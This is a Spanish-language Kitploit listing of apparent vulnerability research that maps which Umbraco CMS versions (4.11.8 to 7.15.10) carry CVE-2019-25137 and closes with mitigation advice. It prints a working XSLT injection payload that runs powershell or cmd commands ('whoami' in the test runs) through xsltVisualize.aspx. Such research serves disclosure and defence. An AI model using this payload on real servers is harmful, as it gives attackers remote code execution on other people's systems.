Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2019-25137-Version-Research — Un análisis que investiga el alcance completo de CVE-2019-25137 | Kitploit
Herramientas/GitHubGitHub/ickarah/cve-2019-25137-version-research
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubickarah/cve-2019-25137-version-research

CVE-2019-25137-Version-Research

Un análisis que investiga el alcance completo de CVE-2019-25137

Ver Repositorio
111hace 3 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Investigación de Versiones Afectadas por CVE-2019-25137


Resumen de CVE-2019-25137


CVE-2019-25137 es una vulnerabilidad de inyección XSLT en Umbraco CMS. La vulnerabilidad está presente en la página web Visualizer XSLT (Transformaciones de Lenguaje de Hojas de Estilo Extensibles). La URI vulnerable para esta página web es /umbraco/developer/Xslt/xsltVisualize.aspx.

Una explotación exitosa del Visualizer XSLT puede resultar en la ejecución de código C# en el sistema objetivo. Para explotar la vulnerabilidad, un usuario requiere credenciales legítimas de administrador del Umbraco CMS.

La prueba de concepto para CVE-2019-25137 utiliza el elemento msxsl:script. Este elemento permite que se utilicen lenguajes de programación adicionales en las transformaciones XSLT, como C#.


root@kitploit:~
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
	<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "<additional arguments>"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "<Can be powershell or cmd>"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  </msxsl:script>
	<xsl:template match="/">
		<xsl:value-of select="csharp_user:xml()"/>
	</xsl:template>
</xsl:stylesheet>

La carga útil XSLT intentará ejecutar el siguiente código C#.


root@kitploit:~
string cmd = "<additional arguments>"; 
System.Diagnostics.Process proc = new System.Diagnostics.Process(); 
proc.StartInfo.FileName = "<Can be powershell or cmd>"; 
proc.StartInfo.Arguments = cmd; 
proc.StartInfo.UseShellExecute = false; 
proc.StartInfo.RedirectStandardOutput = true;  
proc.Start(); 
string output = proc.StandardOutput.ReadToEnd(); 
return output;

El código C# se desglosa en las siguientes declaraciones: todas las definiciones están documentadas en el sitio web de Microsoft.

FunctionOverview
System.Diagnostics.Process procProporciona acceso a procesos locales y remotos y permite al usuario iniciar y detener procesos locales del sistema; este se denomina "proc".
proc.StartInfo.FileNameDefine el nombre de la aplicación que el usuario desea iniciar (powershell o cmd).
proc.StartInfo.ArgumentsDefine cualquier variable adicional que pueda necesitar FileName.
proc.StartInfo.UseShellExecuteUn valor que indica si se debe usar el shell del sistema operativo para iniciar el proceso; se establece como false porque se usa powershell o cmd.
proc.StartInfo.RedirectStandardOutputUn valor que indica si la salida de una aplicación se escribe en la secuencia StandardOutput; se establece como true.
proc.Start()Inicia el recurso de proceso "proc" y lo asocia con un componente Process.
string output = proc.StandardOutput.ReadToEnd()Realiza operaciones de lectura síncronas en "proc" y lo redirige a la variable "output".


Análisis de Versiones de Umbraco

Dado que Umbraco es un CMS de código abierto, obtuve diferentes versiones de instalación desde su sitio web para determinar qué versiones, tanto antiguas como nuevas, pueden tener aún presente xsltVisualize.aspx.



El análisis indica que el archivo xsltVisualize.aspx existe en Umbraco CMS desde la versión 4.11.8 hasta la versión 7.15.10. Este archivo y toda la carpeta Development ya no están presentes en las versiones 8.0.0 y superiores.




Probando Umbraco 4.11.8

Para demostrar que la versión más antigua también es vulnerable a CVE-2019-25137, configuré una instancia de prueba de Umbraco 4.11.8.



Al comparar el xsltVisualize.aspx de Umbraco CMS 4.11.8 con el de Umbraco CMS versión 7.12.4 se demuestra que, aunque hay una pequeña cantidad de diferencias, la funcionalidad de las páginas web es la misma.


Para probar el exploit, el usuario debe enviar la carga útil dentro del campo xsltSelection.



Usando la carga útil proporcionada anteriormente, pude lograr la ejecución remota de código, lo que indica que esta versión también es vulnerable. La imagen de abajo demuestra la ejecución de whoami.

root@kitploit:~
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
	<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  </msxsl:script>
	<xsl:template match="/">
		<xsl:value-of select="csharp_user:xml()"/>
	</xsl:template>
</xsl:stylesheet>



Probando Umbraco 7.15.10

Para demostrar que la versión más reciente de Umbraco con xsltVisualize.aspx también es vulnerable, configuré una instancia de prueba de Umbraco 7.15.10.


Al comparar el xsltVisualize.aspx de Umbraco CMS 7.15.10 con el de Umbraco CMS versión 7.12.4 se demuestra que son iguales.


Navegar a la URI /umbraco/developer/Xslt/xsltVisualize.aspx indica que el archivo está efectivamente presente.


Usando la misma carga útil proporcionada anteriormente, pude lograr la ejecución remota de código nuevamente, lo que indica que esta versión también es vulnerable. La imagen de abajo demuestra la ejecución de whoami.

root@kitploit:~
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
	<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  </msxsl:script>
	<xsl:template match="/">
		<xsl:value-of select="csharp_user:xml()"/>
	</xsl:template>
</xsl:stylesheet>


Resumen


Estos ejemplos demuestran que CVE-2019-25137 está presente en versiones de Umbraco distintas de 7.12.4. Todas las versiones entre 4.11.8 y 7.15.10 contienen la página web vulnerable y, por lo tanto, deberían incluirse en la actualización del CVE. CVE-2019-25137 se puede mitigar eliminando el acceso al archivo xsltVisualize.aspx o actualizando a la versión más reciente de Umbraco.



Referencias

CVE original - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-25137

Fecha de lanzamiento de Umbraco - https://our.umbraco.com/download/releases/774

Versiones de Umbraco - https://our.umbraco.com/download/releases

Definición de XSLT - https://en.wikipedia.org/wiki/XSLT

Carga útil utilizada - https://github.com/noraj/Umbraco-RCE

Descargar herramienta